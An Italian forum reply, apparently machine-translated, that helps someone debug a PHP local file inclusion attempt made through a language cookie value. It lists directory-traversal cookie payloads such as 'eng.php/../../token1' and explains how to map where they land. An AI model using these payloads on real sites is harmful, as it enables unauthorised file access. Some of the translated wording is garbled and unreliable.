Sigh. Ecco il ragionamento per me postare un link al posto di una lunga risposta. Il post originale vuole iniettare / disaffezionare / sfruttare tramite la variabile lang nel cookie:
GET /en-us HTTP/1.1
Cookie: xxx=eng.php/../../../anotherfile
Quindi afferma che ha provato e fallito:
ErrorException:
include_once(/export/htdocs/xxxx.com/base/languages/content-eng.php/../../../anotherfile.php): failed to open stream: No such file or directory
"Nessun file o directory simile" per me significa una delle poche cose:
1) La sua directory traversal è disattivata:
/export/htdocs/xxxx.com/base/languages/content-eng.php
/export/htdocs/xxxx.com/base/languages/**option1/option2/option3**/anotherfile.php
Se la struttura è esattamente come sopra, non esiste un periodo di vulnerabilità di attraversamento di directory.
2) eng.php non è abbastanza dettagliato per sapere cosa fa. Questo dovrebbe essere il debole anello vulnerabile della catena
Sta facendo affidamento su un errore, pensando: "Oh beh, ho un errore, sono sulla buona strada"
OP: Potresti armeggiare un po 'di più con le directory. Ti dice "Non riesco a trovare questo file" il problema diventa "cosa stai trovando" se dichiari di avere accesso alla macchina, la soluzione che utilizzerei sarebbe quella di posizionare i token nelle cartelle per determinare dove stai atterrando :
/export/htdocs/xxxx.com/base/languages/**option1**/token1
/export/htdocs/xxxx.com/base/languages/**option1/option2**/token2
/export/htdocs/xxxx.com/base/languages/**option1/option2/option3**/token3
Quindi prova un altro POST / GET, forse:
Cookie: xxx=eng.php/token1
Cookie: xxx=eng.php/token2
Cookie: xxx=eng.php/token3
Cookie: xxx=eng.php/../token1
Cookie: xxx=eng.php/../token2
Cookie: xxx=eng.php/../token3
Cookie: xxx=eng.php/../../token1
Cookie: xxx=eng.php/../../token2
Cookie: xxx=eng.php/../../token3
Solo perché hai ricevuto un errore, non significa che l'attraversamento della directory sia presente. Per quello che sai, è un errore globale che stai ricevendo. Il link iniziale che ho inviato era di guidarti su una "nota conosciuta" (variabile che controlli) lang.
MODIFICA DEI VINCITORI DELLO SPAZIO:
OP: " La base è /export/htdocs/yyy.com/base/. Il file anotherfile.php è in /export/htdocs/xxx.com/anotherfile.php"
A meno che non stia interpretando male questo:
/ export / htdocs / yyy.com / base /
/ export / htdocs / xxx.com /anotherfile.php
Questi sono su siti separati? Se xxx.com è il tuo server / macchina di prova, ho l'impressione che stai provando un exploit LFI:
you --> modify cookie (hey, take this anotherfile.php from my machine) --> yyy.com
Ancora una volta, il ragionamento per il mio post inizialmente un link al posto di una risposta. Se intendevi il contrario (typo):
/ export / htdocs / yyy.com / base /
/ export / htdocs / yyy .com / anotherfile.php
Quindi devi modificare il tuo inserimento in ../../anotherfile o spostare un altro file in:
/ export / htdocs / yyy.com / base /